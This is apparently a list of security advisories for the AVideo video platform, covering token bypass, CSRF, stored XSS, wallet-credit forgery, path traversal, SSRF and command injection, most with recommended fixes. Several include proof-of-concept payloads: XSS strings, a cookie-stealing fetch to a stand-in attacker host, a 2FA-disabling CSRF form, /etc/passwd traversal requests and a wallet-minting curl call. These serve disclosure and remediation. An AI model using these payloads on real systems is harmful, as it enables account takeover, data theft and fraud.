Where
-Infinity
0
Severity
8.7
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

WWBN AVideo through commit 9c39d8c8 contains an authorization bypass vulnerability where getToken() creates tokens without binding to user identity or purpose, and plugin/Gallery/view/sections.php issues valid tokens to unauthenticated visitors. Attackers can retrieve a token from the Gallery endpoint and use it to bypass authorization checks in other subsystems like view/hls.php to access restricted video content.

First published (updated )
Severity
7.1
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

WWBN AVideo through commit 9c39d8c8 contains a cross-site request forgery vulnerability in the releaseVideoNow.json.php endpoint that lacks authenticity checks and accepts GET requests. Attackers can craft a malicious cross-site GET request carrying an administrator's session cookie to permanently publish any embargoed video by manipulating the videosid parameter.

First published (updated )
Severity
9.6
XSS, SQL Injection, CSRF
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and pagetitle query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the usersidonline array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast pagetitle into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16.

First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

AVideo stores category descriptions from user input and later renders categorydescription as raw HTML in the Gallery view. A user who can create or edit categories can store JavaScript in a category description, which executes when another user views the affected Gallery/category page.

This is a stored XSS in the category description field, separate from previously fixed XSS issues in video titles or comments.

### Details

Source:

objects/categoryAddNew.json.php

php $objCat->setDescription($POST['description']);

Storage setter:

objects/category.php

public function setDescription($description) { $this->description = $description; } Sink:

plugin/Gallery/view/mainAreaCategory.php <div id="categoryDescription<?php echo $duid; ?>" style="display: none;"><?php echo $videos[0]['categorydescription']; ?></div> The value is rendered without htmlspecialchars(), htmlentities(), HTMLPurifier, or equivalent output encoding.

### PoC

Prerequisites:

- AVideo current master / v29.0 - User account with permission to create or edit categories - Gallery plugin/view enabled - At least one video assigned to the affected category

Steps:

1. Log in as a user who can create or edit categories. 2. Create or edit a category. 3. Set the category description to: <img src=x onerror=alert(document.domain)> 4. Save the category. 5. Assign at least one video to that category. 6. Open the Gallery/category page that renders the category section. 7. The payload is inserted into the page as raw HTML and JavaScript executes.

### Impact

An attacker with category edit permission can execute JavaScript in the browser of users or administrators who view the affected Gallery/category page. This can be used to perform actions as the victim, steal same-origin data accessible to JavaScript, or abuse administrative UI actions if an administrator views the malicious category.

Recommended fix

- Sanitize category descriptions on input with the same HTML policy used for video descriptions, or store plain text only. - Encode on output:

php echo htmlspecialchars($videos[0]['categorydescription'], ENTQUOTES, 'UTF-8');

- If limited HTML is intended, run the description through HTMLPurifier before storage or before render. - Add regression tests for category description rendering in Gallery views.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

plugin/AuthorizeNet/processPayment.json.php credits the logged-in user's wallet based only on the attacker-controlled amount POST parameter.

The endpoint contains a TODO for real Authorize.Net charging, hardcodes $paymentSuccess = true, and then calls YPTWallet::addBalance() without validating any Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record.

This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the AuthorizeNet and YPTWallet plugins are enabled.

### Details

Affected file:

plugin/AuthorizeNet/processPayment.json.php

Relevant code:

php $amount = isset($POST['amount']) ? floatval($POST['amount']) : 0; $userData = isset($POST['userData']) ? $POST['userData'] : [];

if ($amount <= 0) { echo jsonencode(['error' => 'Invalid amount']); exit; }

// TODO: Implement payment logic using Authorize.Net API // Example: Call Authorize.Net API here // $result = $plugin->chargePayment($amount, $userData);

// Simulate payment success for now $paymentSuccess = true; $usersid = @User::getId();

if ($paymentSuccess && !empty($usersid)) { $walletPlugin = AVideoPlugin::loadPluginIfEnabled("YPTWallet"); if ($walletPlugin) { $walletPlugin->addBalance($usersid, $amount, 'Authorize.Net one-time payment'); echo jsonencode(['success' => true, 'result' => 'Payment processed and wallet updated']); exit; } } Vulnerable flow:

1. $POST['amount'] is read from the client. 2. The endpoint only checks that the amount is greater than zero. 3. The real Authorize.Net charge is not performed. 4. $paymentSuccess is hardcoded to true. 5. The logged-in user's wallet is credited with the client-supplied amount.

There is no verification of:

- Authorize.Net transaction ID - payment token - webhook signature - pending payment record - expected server-side amount - currency - duplicate transaction/replay state

### PoC

Prerequisites:

- AVideo with AuthorizeNet plugin enabled - YPTWallet plugin enabled - Attacker has any valid user account

Steps:

1. Log in as a low-privileged user. 2. Open the wallet page and record the current balance. 3. Send the following request with the user's authenticated session cookie: curl -i -s -b 'PHPSESSID=<usersession>' \ -X POST 'https://target.example/plugin/AuthorizeNet/processPayment.json.php' \ --data 'amount=9999&userData[note]=poc' 4. The endpoint returns: {"success":true,"result":"Payment processed and wallet updated"} 5. Refresh the wallet page. 6. The wallet balance is increased by 9999.

No Authorize.Net hosted payment page, card payment, transaction confirmation, webhook, or server-side payment validation is required.

Impact

A normal authenticated user can mint arbitrary wallet balance.

Depending on the target site's configuration, this may allow the attacker to:

- purchase paid videos or subscriptions without payment - abuse any feature backed by YPTWallet - transfer fake funds to other users - manipulate accounting or payout-related workflows - bypass monetization controls

Recommended fix

- Remove or disable processPayment.json.php if it is obsolete. - Never credit wallet balance from client-supplied amount alone. - Use the existing Authorize.Net hosted token / webhook / transaction reconciliation flow. - Require a verified Authorize.Net transaction ID and server-side amount lookup before calling addBalance(). - Add regression tests proving arbitrary POSTs cannot credit a wallet.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The endpoint requires no authentication. An unauthenticated remote attacker can read arbitrary image files anywhere on disk that the PHP user can open — including private user-profile photos that the application's normal serving wrappers gate behind ACLs, admin-uploaded thumbnails, encrypted-video poster frames, and image content under sibling-app directories reachable via .. traversal.

Details view/img/image404Raw.php reads the image GET parameter and joins it directly into a filesystem path served via readfile(). view/img/image404Raw.php (full file, current master @ 0dbadbcaaa1b415c7db078a72dc4b26d9fac0485):

php <?php

// Fetch requested image URL $imageURL = !empty($GET['image']) ? $GET['image'] : $SERVER["REQUESTURI"]; $rootDir = dirname(FILE) . '/../../'; if ($imageURL == 'favicon.ico') { $imgLocalFile = "{$rootDir}/videos/{$imageURL}"; } else { $imgLocalFile = "{$rootDir}/{$imageURL}"; // ← attacker-controlled }

if (fileexists($imgLocalFile)) { $imageInfo = getimagesize($imgLocalFile); // ← format gate if (empty($imageInfo)) { die('not image'); } // …extension → Content-Type mapping… header("HTTP/1.0 200 OK"); header('Content-Type: ' . $type); header('Content-Length: ' . filesize($imgLocalFile)); readfile($imgLocalFile); // ← exfil bytes exit; }

Issues:

1. No authentication. The file is reachable via direct GET; no require of globals.php, no session check, no API-key gate. 2. No basename / realpath / prefix containment. $GET['image'] is concatenated into $imgLocalFile with no .. filtering, no realpath() resolution, no allowlist check against the intended view/img/ directory. 3. getimagesize() is a magic-bytes check, not a path constraint. Any file on disk whose first bytes match a recognized image format (FFD8FF JPEG, 89504E47 PNG, 474946 GIF, 52494646…57454250 WebP) passes the gate — including images stored outside any ACL'd area of the application. 4. $SERVER["REQUESTURI"] fallback when image is empty widens the attack surface (path components in the URI itself land in $imgLocalFile).

Re-verified pre-submission on 2026-05-13 against view/img/image404Raw.php blob SHA c670b0faff4fbea1fd0508f179956975477d4340 — unsafe shape unchanged since first discovery on 2026-05-12.

Recommended fix — three layered checks, any one alone is insufficient:

php // view/img/image404Raw.php — proposed fix <?php

$imageURL = !empty($GET['image']) ? $GET['image'] : ''; if ($imageURL === '') { httpresponsecode(400); exit('bad request'); }

// 1. Reject any path-traversal segment outright. if (strpos($imageURL, '..') !== false || strpos($imageURL, "\0") !== false || strpos($imageURL, '://') !== false) { httpresponsecode(400); exit('bad request'); }

// 2. Resolve to a real path and verify prefix containment under the // intended image directory. $rootDir = realpath(dirname(FILE) . '/../../'); $imgLocalFile = realpath($rootDir . '/' . $imageURL); if ($imgLocalFile === false || (strpos($imgLocalFile, $rootDir . '/videos/') !== 0 && strpos($imgLocalFile, $rootDir . '/view/img/') !== 0)) { httpresponsecode(404); exit('not found'); }

// 3. Existing getimagesize() check stays as defense-in-depth. if (!isfile($imgLocalFile)) { httpresponsecode(404); exit('not found'); } $imageInfo = @getimagesize($imgLocalFile); if (empty($imageInfo)) { httpresponsecode(404); exit('not image'); }

// …rest of the original Content-Type + readfile() flow unchanged…

Drop the $SERVER["REQUESTURI"] fallback entirely; if no image parameter is provided, return 400.

PoC

Discovery probe — any HTTP client, no authentication, no cookies:

http GET /view/img/image404Raw.php?image=../videos/userPhoto/photo1.jpg HTTP/1.1 Host: avideo.example.com

If videos/userPhoto/photo1.jpg exists on the server, the response is the raw image bytes (HTTP 200, Content-Type: image/jpeg). The application's normal user-photo serving wrapper (which can gate by session / channel ownership) is bypassed entirely.

Cross-directory probe — read images outside the AVideo install root:

http GET /view/img/image404Raw.php?image=../../../var/www/other-app/uploads/users/admin.jpg HTTP/1.1 Host: avideo.example.com

If the PHP user has read access to a sibling app's image directory, those files are exfiltrable too.

Enumeration — iterate over predictable numeric IDs:

GET /view/img/image404Raw.php?image=../videos/userPhoto/photo1.jpg GET /view/img/image404Raw.php?image=../videos/userPhoto/photo2.jpg GET /view/img/image404Raw.php?image=../videos/userPhoto/photo3.jpg ...

…to harvest all profile images regardless of the application's intended privacy controls.

Impact

Path traversal → arbitrary image read (CWE-22 + CWE-284). Affects any AVideo deployment running master through commit 0dbadbca and likely every release on the supported branches. The attacker:

1. Bypasses the application's image-content ACLs. Profile photos under videos/userPhoto/ and admin-uploaded private thumbnails that AVideo's normal image-serving wrappers gate by session / channel ownership become readable to any anonymous internet user. 2. Reads images stored outside the AVideo install root. On shared-hosting / multi-tenant deployments, .. traversal lets the attacker page into sibling-app upload directories — anywhere the PHP user has read access on disk and the target file's first bytes form a valid image header. 3. Enables enumeration at scale. Numeric ID schemes (photo1.jpg, photo2.jpg, …) and predictable filenames let an attacker harvest every private image on a deployment without detection (each request looks like a single 200-image-OK to the web log).

Because the read primitive is restricted to image-magic-bytes files, there is no source-code or credential exfiltration via this primitive alone — but the privacy / GDPR exposure is substantial on any deployment that hosts user-uploaded photos. CVSS 5.3 (Medium) reflects the limited but real confidentiality impact; many operators will rate this higher because the leaked content is user-private by intent.

This is not a silent-fix disclosure — the bug is still present on current master at submission time; the maintainer is being notified of a previously-unknown issue.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary view/update.php reads $POST['updateFile'] as a relative path under updatedb/ and passes it to PHP's file() for line-by-line execution as part of a database migration. An authenticated administrator can abuse this to read arbitrary text files reachable from the web-server process — especially valuable on misconfigured deployments where /etc/passwd, .env, or other sibling-app configs are reachable relative to the AVideo directory.

Details view/update.php, lines 134-145 (excerpt):

if (!empty($POST['updateFile'])) { $dir = Video::getStoragePath() . "cache"; rrmdir($dir); / …unrelated cache-clear… /

if (fileexists($logfile . "log")) { unlink($logfile . "log"); // ... } $lines = file("{$global['systemRootPath']}updatedb/{$POST['updateFile']}"); The User::isAdmin() and adminSecurityCheck(true) guards at lines 12-15 enforce admin auth, but $POST['updateFile'] is concatenated into a path without any sanitization. file() returns the file's contents as an array of lines; the script subsequently iterates them and echoes the SQL it would run.

PoC POST /view/update.php Content-Type: application/x-www-form-urlencoded

updateFile=../../../../etc/passwd Result: the script attempts to load /etc/passwd (relative to {systemRootPath}updatedb/), echoing each line in the migration-runner HTML output. $POST['updateFile'] traversal accepted, no extension guard, no in-array whitelist.

Attempting ../../../../proc/self/environ similarly reveals web-server environment variables on Linux.

Impact Verified on the current master branch of WWBN/AVideo (commit bc0340662…). Likely affected: every release where view/update.php contains the $POST['updateFile'] consumer — pattern predates 2024.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE-2026-43881 fix d9cdc7024 patched users.json.php only. The same anti-pattern survives at master HEAD in:

objects/mention.json.php:17 $ignoreAdmin = true; objects/mention.json.php:18 $users = User::getAllUsers($ignoreAdmin, ['name', 'email', 'user', 'channelName'], 'a');

No User::loginCheck(), no admin gate. Only entry guard: pregmatch('/^@/', $REQUEST['term']) and hard-coded rowCount=10.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
SSRF
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

CVE-2026-43884 fix 603e7bf patched EpgParser.php and plugin/AI/receiveAsync.json.php to use urlgetcontents (redirect-safe). Neither uses the $resolvedIP out-param of isSSRFSafeURL() for DNS pinning via CURLOPTRESOLVE. Six+ other call sites still discard $resolvedIP, opening DNS-rebinding TOCTOU.

Reference correct pattern at plugin/YPTWallet/YPTWallet.php:1071-1098:

php $resolvedIP = null; if (isSSRFSafeURL($url, $resolvedIP)) { curlsetopt($ch, CURLOPTRESOLVE, ["$h

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
CSRF, XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

Summary

Type: Cross-site request forgery on the 2FA toggle. plugin/LoginControl/set.json.php accepts POST type=set2FA value=false, calls LoginControl::setUser2FA(User::getId(), false) on the session-authenticated user, and returns. There is no forbidIfIsUntrustedRequest() call, no isTokenValid() check, no X-CSRF-Token/SameSite enforcement, and no re-authentication step. A cross-origin page that the victim visits while logged into the AVideo dashboard issues the POST via a hidden form (or fetch without credentials:"omit") and disables the victim's 2FA in one request. The next phishing/credential-stuffing attempt against that account no longer needs the second factor. File: plugin/LoginControl/set.json.php, lines 1-37. Root cause: the developer relied on the User::isLogged() check at line 9 as the only auth, then dispatched directly into LoginControl::setUser2FA(User::getId(), $value=='true'). Other AVideo state-changing endpoints in the same codebase (videoUpdateUsage.json.php, videoStatus.json.php, videoRotate.json.php, etc.) call forbidIfIsUntrustedRequest('<name>') to compare Origin/Referer against the AVideo domain; this endpoint simply omits the call. The session cookie carries the user's identity on every cross-origin POST, so any attacker page can speak for the logged-in user on this endpoint.

Affected Code

File: plugin/LoginControl/set.json.php, lines 1-37.

php <?php requireonce '../../videos/configuration.php'; sessionwriteclose(); header('Content-Type: application/json');

$obj = new stdClass(); $obj->error = true; $obj->msg = ""; if (!User::isLogged()) { $obj->msg = "Not logged"; die(jsonencode($obj)); } if (empty($POST['type'])) { $obj->msg = "Type is empty"; die(jsonencode($obj)); } if (!isset($POST['value'])) { $obj->msg = "value is empty"; die(jsonencode($obj)); }

$cu = AVideoPlugin::loadPluginIfEnabled('LoginControl');

if (empty($cu)) { $obj->msg = "Plugin not enabled"; die(jsonencode($obj)); }

$obj->error = false; switch ($POST['type']) { case 'set2FA': LoginControl::setUser2FA(User::getId(), $POST['value']=="true" ? true : false); // <-- BUG: no CSRF gate, no re-auth break; }

die(jsonencode($obj));

Why it's wrong: disabling a victim's second factor is exactly the kind of state change the AVideo CSRF helper forbidIfIsUntrustedRequest() exists to protect. Compare with objects/commentslike.json.php:18 (forbidIfIsUntrustedRequest('commentslike')) — comments-likes get CSRF protection, but the 2FA toggle does not. Beyond CSRF, security-sensitive toggles like 2FA-disable conventionally also require either the current 2FA code or a password re-prompt: a malicious browser extension, an XSS that lands in any AVideo subdomain, or a compromised tab can otherwise flip the bit silently. None of those mitigations exist here.

Exploit Chain

1. Attacker hosts https://attacker.example/avideo-2fa-off.html containing: html <form id="f" action="https://avideo.example/plugin/LoginControl/set.json.php" method="POST"> <input type="hidden" name="type" value="set2FA"> <input type="hidden" name="value" value="false"> </form> <script>document.getElementById('f').submit();</script> State: page is live and indexable. 2. Attacker delivers the page to a victim who is logged in to avideo.example (open redirect on a trusted partner, ad campaign, IM phishing link, encyclopedic-looking forum post). The victim's browser opens the page; the form auto-submits to AVideo. State: cross-origin POST hits set.json.php with the victim's session cookie attached (the cookie's SameSite attribute is set to Lax/None by AVideo's defaults so the cross-origin POST succeeds for top-level navigations). 3. set.json.php:9 confirms User::isLogged() (true, victim's session is valid). Lines 13-19 see type=set2FA, value=false. Line 30-32 calls LoginControl::setUser2FA(victimuserid, false) and persists the change. State: victim's 2FA is now disabled in users.externalOptions.LoginControl.is2FAEnabled. 4. Victim sees a generic "operation completed" JSON response in a redirected browser tab (or no visible feedback at all if the form lands in an iframe). State: victim notices nothing unusual. 5. Attacker (in a separate session) attempts credential stuffing or password-spray against avideo.example/objects/login.json.php. Without the second factor, any one of: a previously leaked password, a successful credential-stuffing match, or a spear-phishing-collected password completes the login. State: attacker holds full session for victim's account. 6. Final state: the second factor that the victim explicitly enabled was silently disabled across the wire by visiting an attacker-hosted page. The whole chain takes one HTTP POST and zero clicks beyond the initial visit.

Security Impact

Severity: sec-moderate. CVSS 6.5: network attack, low complexity, low privileges (the attacker themselves are unauthenticated; the victim must be a logged-in AVideo user; this is captured by PR:L because the action's effect requires the victim's session), user interaction required (visit attacker page), scope unchanged, no confidentiality directly, high integrity (the victim's 2FA configuration is silently corrupted), no availability claim. Attacker capability: with one cross-origin POST, the attacker turns a victim's 2FA-protected account into a plain password-only account. Combined with any password leak, credential-stuffing match, or successful phishing of the password, the account is fully compromised. The change is permanent until the victim notices and re-enables 2FA, and AVideo does not raise an audit-log event when 2FA is disabled (see LoginControl::setUser2FA — it simply writes the boolean), so detection is unlikely. Preconditions: AVideo deployment with the LoginControl plugin enabled (the plugin shipping the 2FA feature); the victim is logged in to AVideo at the moment they visit the attacker page; the AVideo session cookie does not have SameSite=Strict (the deployment default is SameSite=Lax per objects/phpsessionid.json.php:53, which still allows cross-origin top-level POSTs from a form auto-submit). Differential: source-inspection-verified. set.json.php does not contain forbidIfIsUntrustedRequest, isTokenValid, verifyToken, or any equivalent string; the entire body of the file is reproduced above. With the suggested fix below, the same cross-origin POST returns a 403 with Invalid Request and the setUser2FA call never fires.

Suggested Fix

Add the same CSRF gate every other state-changing endpoint in this codebase uses, and require the current 2FA code (or a password re-prompt) when the user is disabling the second factor.

diff --- a/plugin/LoginControl/set.json.php +++ b/plugin/LoginControl/set.json.php @@ -9,6 +9,8 @@ if (!User::isLogged()) { $obj->msg = "Not logged"; die(jsonencode($obj)); } +forbidIfIsUntrustedRequest('LoginControl-set'); + if (empty($POST['type'])) { $obj->msg = "Type is empty"; die(jsonencode($obj)); @@ -28,7 +30,15 @@ $obj->error = false; switch ($POST['type']) { case 'set2FA': - LoginControl::setUser2FA(User::getId(), $POST['value']=="true" ? true : false); + $newValue = ($POST['value'] == 'true'); + // Require the current 2FA code (or a password re-prompt) when DISABLING 2FA; + // turning it on is fine, turning it off needs a step-up. + if (!$newValue && !LoginControl::confirmStepUpForCurrentUser($POST['confirm'] ?? '')) { + $obj->error = true; + $obj->msg = ('Re-authentication required to disable 2FA'); + die(jsonencode($obj)); + } + LoginControl::setUser2FA(User::getId(), $newValue); break; }

Defence-in-depth: the AVideo session cookie should be issued with SameSite=Strict for the management dashboard's first-party POSTs; the public read-only player can keep a separate SameSite=Lax cookie. Audit-log every 2FA-disable event with the source IP and user agent so an unexpected disable is visible to the operator.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

Type: Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin. File: plugin/Live/view/modeYoutubeLive.php, line 203. Root cause: the template builds a live-status hook by concatenating the database key into a class name: class="titleliveKey<?php echo $livet['key'] ?>". There is no escaping. The persistence path plugin/Live/saveLive.php:30 accepts $REQUEST['key'] verbatim into livetransmitions.key (the auto-generation path uses uniqid(), but the manual save path lets the caller override it with anything). The onpublish.php:117 sanitiser strips only & and =, not ", <, or >, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.

Affected Code

File: plugin/Live/view/modeYoutubeLive.php, lines 195-209.

php <i class="fas fa-lock"></i> <?php } else { ?> <i class="fas fa-video"></i> <?php } ?> <span class="titleliveKey<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> <!-- BUG: $livet['key'] echoed raw into class attribute --> <small class="text-muted"> <?php echo $liveInfo['displayTime']; ?> </small> </h1>

$livet['key'] is the raw stream key out of livetransmitions. The persistence path plugin/Live/saveLive.php:30 is $l->setKey($REQUEST['key']) (no allowlist), and LiveTransmition::setKey() (Objects/LiveTransmition.php:110-112) is a plain assignment. The DB column has no character-class enforcement (it is a varchar). parent::save() uses prepared SQL, so embedded ", <, >, ' are stored verbatim and round-trip back to this template unchanged.

Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENTQUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.

Exploit Chain

1. Attacker registers (or already holds) an AVideo account with canStream=1. On installations with advancedCustomUser.newUsersCanStream=1 this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated. 2. Attacker POSTs to https://target/plugin/Live/saveLive.php: key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=" title=t&description=d&password=p saveLive.php:8 confirms User::canStream(), line 30 calls $l->setKey($REQUEST['key']) and the row is persisted with the literal payload value. State: livetransmitions.key for this user contains the XSS payload. 3. Victim visits the attacker's live page, e.g. https://target/plugin/Live/?u=<attacker-username>. The page is rendered through index.php -> view/modeYoutubeLive.php. Line 203 executes: html <span class="titleliveKey" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span> State: a class attribute closed early, an onmouseover event handler attached, a stray x="" consumed, and the final closing " consumed by the next attribute. The HTML parses cleanly. 4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: fetch('//attacker/x?c=' + document.cookie) runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie). 5. Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (onerror on injected <img>, onload on injected <svg>, or simply > to close the <span> and inject a <script> block) the trigger does not require mouse-over.

Security Impact

Severity: sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability. Attacker capability: with one canStream account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the target origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from livetransmitions. Preconditions: AVideo deployment using the default modeYoutubeLive.php template (the YouTube-style live view, used by all standard skins); attacker has canStream rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page. Differential: source-inspection-verified. The vulnerable template modeYoutubeLive.php:203 produces <span class="titleliveKey<UNESCAPEDKEY>">…</span>. With the suggested patch (htmlspecialchars($livet['key'], ENTQUOTES, 'UTF-8') applied), the same input renders as <span class="titleliveKey&quot; onmouseover=&quot;…&quot; x=&quot;">…</span>, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:

sh $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"titleliveKey".$livet["key"]."\">test</span>";' <span class="titleliveKey" onmouseover="alert(1)" x="">test</span> # XSS attribute parses $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"titleliveKey".htmlspecialchars($livet["key"],ENTQUOTES,"UTF-8")."\">test</span>";' <span class="titleliveKey&quot; onmouseover=&quot;alert(1)&quot; x=&quot;">test</span> # one attribute, no handler

Suggested Fix

Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after replace(/[&=]/g, ''), but they should be reviewed in the same patch).

diff --- a/plugin/Live/view/modeYoutubeLive.php +++ b/plugin/Live/view/modeYoutubeLive.php @@ -200,7 +200,7 @@ } ?> - <span class="titleliveKey<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> + <span class="titleliveKey<?php echo htmlspecialchars($livet['key'], ENTQUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span> <small class="text-muted"> <?php echo $liveInfo['displayTime'];

Defence-in-depth: also enforce a character allowlist on livetransmitions.key at write time (the autogenerator emits uniqid() which is hex-only, so ^[A-Za-z0-9-]{1,64}$ is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Type: Classic shell-metacharacter injection. The YPTSocket notification branch in plugin/Live/onpublish.php builds an execAsync() command line by string concatenation, single-quoting each argument but never calling escapeshellarg(). A ' in any of the three interpolated values ($usersid, $m3u8, $obj->liveTransmitionHistoryid) closes the quoted token and lets the attacker append arbitrary commands. File: plugin/Live/onpublish.php, line 267. Root cause: the developer wrapped each variable in literal single quotes ('$usersid', '$m3u8', '$obj->liveTransmitionHistoryid') believing this provides shell-quoting. PHP single-quoted-into-shell is not safe quoting; it is just two literal quote characters that the shell pairs greedily. Any embedded ' closes the outer string and resumes interpretation in the shell. The rest of the AVideo codebase already calls escapeshellarg() (137 call sites across the project) for ffmpeg invocations, so the safe primitive is well-known to the project; it was simply omitted from this branch. The endpoint is web-reachable (no .htaccess rule restricts onpublish.php, no REMOTEADDR check), so the trigger is a direct HTTP POST without going through nginx-rtmp.

Affected Code

File: plugin/Live/onpublish.php, lines 256-271.

php if (AVideoPlugin::isEnabledByName('YPTSocket')) { $array = setLiveKey($lth->getKey(), $lth->getLiveserversid()); @obclean(); obstart(); $lth = new LiveTransmitionHistory($obj->liveTransmitionHistoryid); $m3u8 = Live::getM3U8File($lth->getKey(), false, true); // value-carrying URL: contains the stream key verbatim $usersid = $obj->row['usersid']; $liveTransmitionHistoryid = $obj->liveTransmitionHistoryid; if (strtoupper(substr(PHPOS, 0, 3)) === 'WIN') { include "{$global['systemRootPath']}plugin/Live/onpublishsocketnotification.php"; } else { $command = getphp(). " {$global['systemRootPath']}plugin/Live/onpublishsocketnotification.php '$usersid' '$m3u8' '{$obj->liveTransmitionHistoryid}'"; // <-- BUG: literal quotes, no escapeshellarg $pid = execAsync($command); // sink: shell exec } }

Live::getM3U8File($key, false, true) (Live.php:1337-1350 -> Live.php:4845-4889) returns "{$playerServer}{$uuid}.m3u8" (or "{$playerServer}{$uuid}/index.m3u8") where $uuid = $this->getKeyWithIndex(...) is the stream key string read straight out of the livetransmitions table. There is no character normalisation between database read and command construction.

